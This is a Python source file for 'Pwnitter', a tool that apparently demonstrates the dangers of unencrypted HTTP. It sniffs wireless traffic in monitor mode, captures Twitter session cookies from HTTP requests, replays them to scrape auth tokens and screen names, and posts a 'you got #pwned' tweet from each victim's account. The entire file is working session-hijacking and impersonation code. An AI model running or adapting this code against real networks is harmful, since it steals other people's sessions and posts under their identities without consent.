Added a bugtracking URL to debian/control
[pwnitter] / pwnitter.py
1 #!/usr/bin/env python
2 # On Linux (as root):
3 #  * apt-get install libpcap0.8 python-pypcap python-dpkt
4 #  * iw wlan0 interface add mon0 type monitor && ifconfig mon0 up
5 #  * ./idiocy.py -i mon0
6             
7 import dbus.service
8 import dbus.mainloop.glib
9 import getopt, sys, pcap, dpkt, re, httplib, urllib
10 import logging
11 import logging.config
12 import socket
13 import time
14 import gobject
15 import select
16 import subprocess
17 import urllib2
18
19 status = 'I browsed twitter insecurely, got #pwned and all I got was this lousy tweet.'
20
21 def usage(): 
22     print >>sys.stderr, 'Usage: %s [-i device]' % sys.argv[0] 
23     sys.exit(1)
24
25 NAME = 'de.cryptobitch.muelli.Pwnitter'
26
27 class Pwnitter(dbus.service.Object):
28     def __init__(self, bus, object_name, device='mon0', run_once_only=False):
29         super(Pwnitter, self).__init__(bus, object_name)
30         self.device = device
31         
32         self.status = status
33         self.is_running = False
34         self.run_once_only = run_once_only
35
36     def setup_monitor(device='mon0'):
37         # FIXME: Replace hardcoded interface 
38         cmd = '/usr/sbin/iw wlan0 interface add mon0 type monitor'.split()
39         subprocess.call(cmd)
40         cmd = '/sbin/ifconfig mon0 up'.split()
41         subprocess.call(cmd)
42     
43     @dbus.service.method(NAME,
44                          in_signature='', out_signature='')
45     def Start(self, filename=None):
46         # FIXME: Prevent double Start()
47         if filename is None: # Then we do *not* want to read from a PCap file but rather a monitor device
48             self.setup_monitor(device)
49             device = self.device
50         else: # We have given a filename, so let's make PCap read from the file
51             device = filename
52         self.is_running = True
53         try:
54             self.cap = pcap.pcap(device)
55         except OSError, e:
56             print "Error setting up %s" % device
57             raise e
58         self.cap.setfilter('dst port 80')
59         cap_fileno = self.cap.fileno()
60         self.source_id = gobject.io_add_watch(cap_fileno, gobject.IO_IN, self.cap_readable_callback, device) 
61
62     @dbus.service.method(NAME,
63                          in_signature='s', out_signature='')
64     def StartFromFile(self, filename):
65         return self.Start(filename=filename)
66
67     
68     def cap_readable_callback(self, source, condition, device):
69         return self.pwn(device, self.MessageSent)
70         
71     @dbus.service.signal(NAME)
72     def MessageSent(self, who):
73         print "Emitting MessageSent"
74         return who
75         return False
76         pass
77
78     @dbus.service.method(NAME,
79                          in_signature='s', out_signature='')
80     def SetMessage(self, message):
81         self.status = message
82         
83     @dbus.service.method(NAME, #FIXME: This is probably more beauti with DBus Properties
84                          in_signature='', out_signature='s')
85     def GetMessage(self):
86         return self.status
87
88
89     def tear_down_monitor(self, device='mon0'):
90         cmd = '/sbin/ifconfig mon0 down'.split()
91         subprocess.call(cmd)
92         cmd = '/usr/sbin/iw dev mon0 del'.split()
93         subprocess.call(cmd)
94     
95     @dbus.service.method(NAME,
96                          in_signature='', out_signature='')
97     def Stop(self):
98         self.is_running = False
99         print "Receive Stop"
100         gobject.source_remove(self.source_id)
101         self.tear_down_monitor(self.device)
102         loop.quit()
103
104
105     def pwn(self, device, tweeted_callback=None):
106         log = logging.getLogger('pwn')
107         
108         processed = {}
109         if self.is_running: # This is probably not needed, but I feel better checking it more than too less
110             ts, raw = self.cap.next()
111             eth = dpkt.ethernet.Ethernet(raw)
112             log.debug('got a packet')
113             # Depending on platform, we can either get fully formed packets or unclassified radio data
114             if isinstance(eth.data, str):
115                 data = eth.data
116             else:
117                 data = eth.data.data.data
118
119             hostMatches = re.search('Host: ((?:api|mobile|www)?\.?twitter\.com)', data)
120             if hostMatches:
121                 host = hostMatches.group(1)
122                 log.debug('Host matched %s', host)
123                 
124                 user_agent_matches = re.search('User-Agent: ([^\n]+)', data)
125                 if user_agent_matches:
126                     user_agent = user_agent_matches.group(1)
127                     log.debug('Found UserAgent: %s', user_agent)
128                 else:
129                     user_agent = "Mozilla/5.0"
130                 
131                 cookieMatches = re.search('Cookie: ([^\n]+)', data)
132                 log.debug('CookieMatches? %r', cookieMatches)
133                 
134                 if cookieMatches:
135                     cookie = cookieMatches.group(1)
136                     log.debug('yummie Cookie %r', cookie)
137
138                     headers = {
139                         "User-Agent": user_agent,
140                         "Cookie": cookie,
141                     }
142                     
143                     try:
144                         page = urllib2.urlopen("https://%s/" % host).read()
145                     except socket.error, e:
146                         log.error(e)
147                     else:
148                         log.debug('Connected to host %s', host)
149                         #log.debug("%s", page)
150                         if '''<p id="signup-btn"><a href="/signup" id="signup_submit"''' in page:
151                             log.info('Login in Page :-(')
152
153                         # Newtwitter and Oldtwitter have different formatting, so be lax
154                         authToken = ''
155
156                         formMatches = re.search("<.*?auth.*?_token.*?>", page, 0)
157                         if formMatches:
158                             authMatches = re.search("value=[\"'](.*?)[\"']", formMatches.group(0))
159
160                             if authMatches:
161                                 authToken = authMatches.group(1)
162                                 log.info('Found auth token %r', authToken)
163
164                         nameMatches = re.search('"screen_name":"(.*?)"', page, 0)
165                         if not nameMatches:
166                             nameMatches = re.search('content="(.*?)" name="session-user-screen_name"', page, 0)
167
168                         name = ''
169                         if nameMatches:
170                             name = nameMatches.group(1)
171                             log.info('Found name %r', name)
172
173
174                         # We don't want to repeatedly spam people
175                         # Also proceed if we didn't find a name but are on the mobile page
176                         if  not (name in processed)   or   ((not name) and host == 'mobile.twitter.com'):
177                             headers = {
178                                 "User-Agent": "Mozilla/5.0",
179                                 "Accept": "application/json, text/javascript, */*",
180                                 "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
181                                 "X-Requested-With": "XMLHttpRequest",
182                                 "X-PHX": "true",
183                                 "Referer": "http://api.twitter.com/p_receiver.html",
184                                 "Cookie": cookie
185                             }
186
187
188                             log.debug('Issueing connection')
189                             if self.run_once_only: # If we wanted to run once only, we make it stop now
190                                 self.is_running = False
191                             if host == 'mobile.twitter.com':
192
193                                 params = urllib.urlencode({
194                                     'tweet[text]': self.status,
195                                     'authenticity_token': authToken
196                                 })
197
198                                 conn = httplib.HTTPConnection("mobile.twitter.com")
199                                 conn.request("POST", "/", params, headers)
200
201                             else:
202
203                                 params = urllib.urlencode({
204                                     'status': self.status,
205                                     'post_authenticity_token': authToken
206                                 })
207
208                                 conn = httplib.HTTPConnection("api.twitter.com")
209                                 conn.request("POST", "/1/statuses/update.json", params, headers)
210
211
212                             response = conn.getresponse()
213                             log.debug('Got response: %s', response.status)
214                             if response.status == 200 or response.status == 302 or response.status == 403:
215
216                                 if name:
217                                     processed[name] = 1
218
219                                 # 403 is a dupe tweet
220                                 if response.status != 403:
221                                     log.info("Successfully tweeted as %s", name)
222
223                                     if tweeted_callback:
224                                         tweeted_callback(name)
225                                 else:
226                                     log.info('Already tweeted as %s', name)
227                                 log.debug("%s, %s", response.status, response.reason)
228                                 log.debug("%s", response.read())                            
229
230                             else:
231
232                                 log.error("FAILED to tweet as %s, debug follows:", name)
233                                 log.error("%s, %s", response.status, response.reason)
234                                 log.error("%s", response.read())
235
236         return self.is_running # Execute next time, we're idle or stop if we wanted to run once and have processed a message successfully
237     # FIXME: Ideally, check     whether Pcap has got data for us
238
239 def main():
240
241     opts, args = getopt.getopt(sys.argv[1:], 'i:h')
242     device = None
243     for o, a in opts:
244         if o == '-i':
245             device = a
246         else:
247             usage()
248     #pwn(device)
249
250
251
252 if __name__ == '__main__':
253     from optparse import OptionParser
254     parser = OptionParser("usage: %prog [options]")
255     parser.add_option("-l", "--loglevel", dest="loglevel", 
256                       help="Sets the loglevel to one of debug, info, warn, error, critical")
257     parser.add_option("-s", "--session", dest="use_session_bus",
258                       action="store_true", default=False,
259                       help="Bind Pwnitter to the SessionBus instead of the SystemBus")
260     parser.add_option("-1", "--single", dest="run_once_only",
261                       action="store_true", default=False,
262                       help="Make it send a single message only")
263     (options, args) = parser.parse_args()
264     loglevel = {'debug': logging.DEBUG, 'info': logging.INFO,
265                 'warn': logging.WARN, 'error': logging.ERROR,
266                 'critical': logging.CRITICAL}.get(options.loglevel, "warn")
267     logging.basicConfig(level=loglevel)
268     #logging.config.fileConfig('logging.conf') #FIXME: Have file configured logging
269     log = logging.getLogger("Main")
270
271     dbus.mainloop.glib.DBusGMainLoop(set_as_default=True)
272
273     if options.use_session_bus:
274         session_bus = dbus.SessionBus()
275     else:
276         session_bus = dbus.SystemBus()
277     name = dbus.service.BusName(NAME, session_bus)
278     pwnitter = Pwnitter(session_bus, '/Pwnitter', run_once_only=options.run_once_only)
279     #object.Start()
280
281     loop = gobject.MainLoop()
282     log.info("Running example signal emitter service.")
283     # FIXME: This is debug code
284     #gobject.idle_add(pwnitter.MessageSent)
285     
286     loop.run()
287     print "Exiting for whatever reason"
288     #main()